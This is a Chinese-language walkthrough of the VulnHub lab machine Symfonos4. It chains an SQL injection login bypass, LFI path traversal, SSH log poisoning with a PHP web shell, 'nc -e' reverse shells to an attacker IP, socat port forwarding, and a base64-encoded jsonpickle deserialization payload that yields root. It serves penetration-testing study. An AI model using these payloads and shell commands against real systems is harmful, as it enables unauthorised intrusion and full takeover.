Vulnhub靶机实战-Symfonos4"

admin 2026-10-16 10:35:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Vulnhub靶机实战 - Symfonos4

Hash-Sec
Hash-Sec

Hash-Sec

2026年9月22日 16:52
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

NOIR BRIEF

商业观察 · 长期主义

Symfonos4 靶机渗透记录

Symfonos4 是 VulnHub 平台上的中等难度 Linux 靶机,目标 IP 192.168.68.172。该靶机完整演示了一条经典的 Web 层渗透链:目录枚举发现登录入口 → SQL 注入万能密码绕过认证 → 文件包含(LFI)读取系统日志 → 日志注入写入 WebShell → 反弹 shell 获取 foothold → 配置文件泄露数据库凭据 → socat 端口转发访问内网服务 → JWT Cookie 中的 jsonpickle 反序列化漏洞直接获取 root。

商业 · 财经 · 组织

NO. 001

01

  1. 主机发现与端口扫描

通过 ARP 扫描确认目标主机存活:

bash

1arp-scan -l

2

3192.168.68.172  00:0c:29:63:e8:37  VMware, Inc.

目标 IP 为 192.168.68.172。

访问 80 端口,主页为静态页面,未发现明显功能点。

执行全端口 TCP SYN 扫描:

bash

1nmap -p- -A -T4 192.168.68.172

2

3PORT   STATE SERVICE VERSION

422/tcp open  ssh     OpenSSH 7.9p1 Debian 10

580/tcp open  http    Apache httpd 2.4.38 ((Debian))

仅开放 22(SSH)和 80(HTTP)两个端口。SSH 暂无可利用的弱口令或已知 CVE,攻击面优先从 Web 服务展开。

02

  1. 目录枚举与登录入口发现

对 Web 根目录执行字典枚举,附带 php/zip/bak/txt/html 扩展名:

bash

1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://192.168.68.172/ -x php,zip,bak,txt,html

扫描结果:

01

index.html — 200

02

robots.txt — 403

03

sea.php — 302 重定向至 atlantis.php

sea.php 发生 302 重定向,说明这是一个需要认证的入口脚本,重定向目标 atlantis.php 即为登录页面。

03

  1. SQL 注入绕过认证

访问 sea.php 被重定向至登录页。登录表单的用户名和密码查询未做参数化处理,存在经典 SQL 注入漏洞。使用万能密码绕过认证:

bash

1用户名: 1' or 1=1 -- s

2密码: 任意

1' or 1=1 -- s 的原理是闭合 SQL 语句中的字符串引号,插入永真条件 or 1=1,再用 -- 注释掉后续语句,使查询恒返回真,从而绕过认证直接登录。

登录成功后,页面显示一个选择神(deity)的下拉框,选择后 URL 变为:

bash

1/sea.php?file=hades

file 参数直接控制后端读取的文件路径——这是一个典型的本地文件包含(LFI)漏洞。

04

  1. LFI 读取 SSH 认证日志

既然 file 参数可控,尝试读取 SSH 登录日志 /var/log/auth.log。注意靶机可能在文件后自动追加 .php 后缀,因此尝试不加 .log:

bash

1http://192.168.68.172/sea.php?file=../../../../../../var/log/auth

路径穿越 ../../../../../../ 跳出 Web 根目录,读取系统日志文件。

成功读取到 SSH 认证日志内容——日志中记录了所有 SSH 登录尝试的用户名和密码。

LFI 到 RCE 的核心思路:文件包含漏洞本身只能读文件,但如果能控制日志文件的内容,就能通过日志注入实现代码执行。SSH 日志记录了所有登录尝试的用户名,而用户名是攻击者完全可控的——把 PHP 代码作为用户名进行 SSH 连接,代码就会被写入日志文件,再通过 LFI 读取日志文件时,PHP 代码就会被执行。

05

  1. SSH 日志注入获取 RCE

使用任意 SSH 客户端(此处为 FinalShell)进行连接,将一句话 PHP 代码作为用户名传入:

bash

1用户名: <?php echo system($\_POST['cmd']); ?>

2密码: 任意

这次 SSH 连接尝试会被记录到 /var/log/auth.log 中,PHP 代码以纯文本形式写入日志。

现在通过 LFI 读取这个日志文件,并携带 POST 参数 cmd 执行系统命令:

bash

1POST /sea.php?file=../../../../../var/log/auth

2cmd=id

命令执行成功,返回 www-data 用户身份。

06

  1. 反弹 Shell 与数据库凭据提取

通过 POST 参数注入反弹 shell 命令:

bash

1nc -e /bin/bash 192.168.68.156 1111

Kali 监听端口收到反弹连接,获取交互式 shell:

bash

1python -c \"import pty;pty.spawn('/bin/bash');\"

获得 www-data 权限后,首先检查 Web 目录下的配置文件。登录页面的 PHP 源码中硬编码了数据库凭据:

php

1define('DB\_USERNAME', 'root');

2define('DB\_PASSWORD', 'yVzyRGw3cG2Uyt2r');

使用该凭据登录 MySQL 数据库,检查 db.users 表:

表中仅有一个用户,密码哈希无法直接破解。数据库阶段没有直接突破,转向内网侦察。

07

  1. 内网端口转发与 8080 服务

执行 ss -tuln 检查本地监听端口:

bash

1LISTEN  0  128  127.0.0.1:8080  0.0.0.0:\*

发现 127.0.0.1:8080 上运行着一个仅绑定本地回环的 Web 服务,外部无法直接访问。使用 socat 做 TCP 端口转发:

bash

1socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080

将靶机的 7000 端口转发到本地 8080,然后通过 http://192.168.68.172:7000 访问该服务。

08

  1. JWT Cookie 与 jsonpickle 反序列化

访问 8080 端口的 Web 服务后,抓包分析 Cookie,发现其中包含一段 JWT Token。Base64 解码后内容为:

json

1{\"py/object\": \"app.User\", \"username\": \"Poseidon\"}

这是 jsonpickle 序列化的 Python 对象。jsonpickle 是一个 Python 库,用于将 Python 对象序列化为 JSON 格式。如果服务端直接反序列化用户可控的 JSON 数据而未做安全过滤,就会触发反序列化漏洞——攻击者可以构造恶意 JSON,在服务端执行任意代码。

构造反序列化 payload,利用 Python 的 os.system 执行反弹 shell 命令:

json

1{\"py/object\":\"main.Shell\",\"py/reduce\":[{\"py/type\":\"os.system\"},{\"py/tuple\":[\"/usr/bin/nc -e /bin/bash 192.168.68.156 1111\"]},null,null,null]}

Base64 编码后替换 Cookie 中的 JWT 值,刷新页面触发反序列化:

bash

1eyJweS9vYmplY3QiOiJtYWluLlNoZWxsIiwicHkvcmVkdWNlIjpbeyJweS90eXBlIjoib3Muc3lzdGVtIn0seyJweS90dXBsZSI6WyIvdXNyL2Jpbi9uYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC42OC4xNTYgMTExMSJdfSxudWxsLG51bGwsbnVsbF19

Kali 监听端口收到反弹连接,确认 UID:

bash

1uid=0(root) gid=0(root) groups=0(root)

直接获取 root 权限,无需二次提权。

反序列化漏洞原理:jsonpickle 的 py/reduce 机制允许在反序列化时指定任意可调用对象及其参数。当服务端使用 jsonpickle.decode() 处理用户输入时,攻击者可以构造 py/reduce 指向 os.system 或 subprocess.call,实现任意命令执行。这与 Java 反序列化漏洞(如 Fastjson、Jackson)的攻击模型完全一致。

09

  1. 完整攻击链路

攻击阶段 技术手段 关键输出
信息收集 ARP 扫描 + nmap + gobuster 目录枚举 发现 sea.php 登录入口
认证绕过 SQL 注入万能密码 1' or 1=1 -- s 登录成功,发现 ?file= 参数
文件读取 LFI 路径穿越读取 /var/log/auth 获取 SSH 认证日志
代码执行 SSH 日志注入 PHP 一句话 + LFI 触发 获取 www-data 命令执行
Foothold POST 注入反弹 shell 获取交互式 shell
凭据提取 配置文件硬编码数据库密码 root / yVzyRGw3cG2Uyt2r
内网突破 socat 端口转发访问 127.0.0.1:8080 发现 JWT 认证服务
权限提升 jsonpickle 反序列化 + py/reduce 调用 os.system 直接获取 root

该靶机的核心设计思路:从 SQL 注入到 LFI 再到日志注入,每一步都是 Web 安全经典漏洞的组合利用;最终的提权不依赖内核漏洞或配置错误,而是通过内网服务的反序列化漏洞一步到位。整条链覆盖了 OWASP Top 10 中的 SQL Injection、File Inclusion、Insecure Deserialization 三大类漏洞。

10

关联知识点

01

SQL 注入万能密码:1' or 1=1 -- s 利用 SQL 语句字符串闭合 + 永真条件 + 注释符绕过认证。仅适用于字符串拼接的非参数化查询。

02

LFI(本地文件包含):?file= 参数未做路径过滤,通过 ../ 路径穿越读取任意文件。常见于 PHP include() / require() 直接拼接用户输入。

03

SSH 日志注入:将 PHP 代码作为 SSH 用户名进行连接尝试,代码被写入 /var/log/auth.log。结合 LFI 读取日志文件,PHP 代码被解析执行,实现 LFI → RCE 转换。

04

jsonpickle 反序列化漏洞:jsonpickle 支持 py/object 和 py/reduce 关键字,允许在反序列化时实例化任意对象并调用任意函数。服务端若直接 jsonpickle.decode() 用户输入,等同于 RCE。

05

socat 端口转发:socat tcp-listen:PORT,fork tcp:TARGET\_IP:TARGET\_PORT 将本地端口转发到远程地址,用于访问仅绑定回环的内网服务。

写在最后

看到这儿,说明你把它读完了。这类文章能走多远,只取决于两件事:你的在看和转发。

顺手关注并设为星标,下一篇更新第一时间见。

END OF ISSUE

保持长期主义


Vulnhub靶机实战-Symfonos4" 网络安全文章

Vulnhub靶机实战-Symfonos4"

本文记录Vulnhub平台Symfonos4靶机完整渗透测试过程,展示从SQL注入绕过认证、LFI读取日志、SSH日志注入获取Webshell、反弹shell、数据库凭据提取、socat端口转发到jsonpickle反序列化漏洞利用获取root权限的完整攻击链,覆盖OWASPTop10中SQL注入、文件包含和不安全反序列化三大类漏洞,对红队实战和渗透测试学习具有较高参考价值。
我用AI辅助挖了三个月SRC,聊聊哪些环节真能省时间" 网络安全文章

我用AI辅助挖了三个月SRC,聊聊哪些环节真能省时间"

本文总结作者三个月用AI辅助SRC挖洞的实战经验,核心结论是AI并未增加漏洞发现数量,但将每个漏洞耗时减少近一半。AI擅长信息提取、格式转换和批量初筛等重复劳动,不擅长业务逻辑判断、漏洞真实性验证和跨会话状态管理。建议将AI定位为处理杂活的实习生,将省下的时间用于挖掘需要业务理解和人类直觉的深度漏洞。
评论:0   参与:  0